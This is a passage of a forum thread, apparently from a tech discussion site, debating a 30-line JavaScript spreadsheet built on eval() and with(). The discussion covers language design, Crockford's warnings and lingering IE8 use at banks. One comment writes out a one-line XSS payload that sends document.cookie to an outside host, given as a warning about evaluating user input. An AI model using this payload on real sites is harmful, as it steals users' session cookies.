131–140 of 274 posts
Earlier quoted context omitted.
document.write('<img src="somedomain.com/?'+document.cookie);
have you heard of the HttpOnly attribute for cookies?
1. Take user generated content 2. eval() 3. ??? 4. PROFIT! (for the person who stole data/identity, etc)
I'm not sure it's possible to steal your own identity.
Voila.
People copy code, the defaults should be safer. I know that wouldn't make it so elegant as it wouldn't fit in so few lines, but that's how you educate others on the risks and how to deal with those risks.
Earlier quoted context omitted.
with (context) + eval = user-space lexical environment ?
Yep, I'm using something very like this in a Node project I'm working on. However, with(context) has some pretty nasty side effects that I just couldn't sidestep, so I used the "contextify" module. If you're needing with and have access to npm, use contextify, It'll save you a lot of effort!
I am impressed. Its a neat hack, it actually is a real spreadsheet in 30 lines of code, with references fully working (ie =A3+B4 gives expected output. As does =alert("foo") but then nothing is perfect). I think it says something about the browser as a platform - these thirty lines simply assume an enormous amount that excel and visicalc could not - visicalc had to write their own screen refresh routines. It is usefu…
A 30 line javascript spreadsheet is similar for me to when I first saw Norvig's 21 line python spelling corrector ( http://norvig.com/spell-correct.html ): this language is more powerful and expressive than I thought. I'm increasingly believing that HTML/CSS/JS in a browser is a viable common runtime. This demo does quite a lot to solidify that belief.
Ruby or Smalltalk have an object system for doing those kinds of things that was actually designed and not evolved by committees and corporations, so that your meta-programming doesn't have to always be only eval and .bind in various incarnations (unsafe, inconvenient and slow). I can't imagine how this thing here that makes evaluating "A1" perform a function call fits into the rest of JavaScript and why the hall was it even introduced:
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Refe...
Not to mention the "with" usage on which this hack is based is actively discouraged by everyone using JavaScript as it basically mixes in the object into the current scope. In a sane language, you do .instance_eval, and you narrow the scope to whatever the object contains.
I congratulate the author of this code as much as everyone for finding an unexpected and very creative use for those features, but this doesn't make them great.
Earlier quoted context omitted.
I'm a bit slow this morning...would anyone mind explaining how that and the defineProperties stuff makes a parse happen?
defineProperty is being used to set a property On DATA, named corresponding to the cell's id ( e.g. , A3), to a descriptor. In this case the descriptor only provides a getter function, inside of which is an eval done with DATA as the context. That means all evaluated variable references will assume DATA as the implicit 'this' (whereas normally that would be 'window')
I am impressed. Its a neat hack, it actually is a real spreadsheet in 30 lines of code, with references fully working (ie =A3+B4 gives expected output. As does =alert("foo") but then nothing is perfect). I think it says something about the browser as a platform - these thirty lines simply assume an enormous amount that excel and visicalc could not - visicalc had to write their own screen refresh routines. It is usefu…
Personally I was confused as to how the fellow got around the basics of having to parse tokens until I noticed with (DATA) now that's just genius. I hate writing token parsing.
Douglas Crockford said in his excellent talk 'JavaScript: The Good Parts' that he highly recommends js -developers to avoid 'with', as it doesn't work correctly and for 'eval' he has to say 'If you are finding yourself using eval, you really are thinking about things the wrong way'.
Source, starts where he is speaking about with and eval: http://youtu.be/hQVTIJBZook?t=13m30s
Are these statements still true ?
Earlier quoted context omitted.
> it looks like IE8 is finally falling off the radar Some are luckier than others... I suspect one of our major clients (one of the country's largest banks) will be stuck using IE8 and nothing but for the next few years at least. They only moved off IE6 recently due to it falling out of support next April, so there is a chance they'll stick with IE8 until 2019 (the year before it and Windows 7 drop out of extended su…
When I was a contractor at a major bank, the standard was IE6, and movement towards IE8 was in progress (as Win7 was rolling out)... I don't know if they held at IE8 though, as most people I knew there have left, even the FTEs. It was an SPA that drove a lot of adoption/allowance to use Chrome/Firefox, so it may have well gone that direction since leaving.
They are still pretty much all on XP, but new laptops are generally Windows 7 (with IE8) and I suspect Win7 will be rolling out to older standard builds (both desktop and laptop, machines old enough to not be Win7 compatible having been replaced already) as the first thing the relevant TS departments do after the Christmas/NewYear non-emergency-work freezes.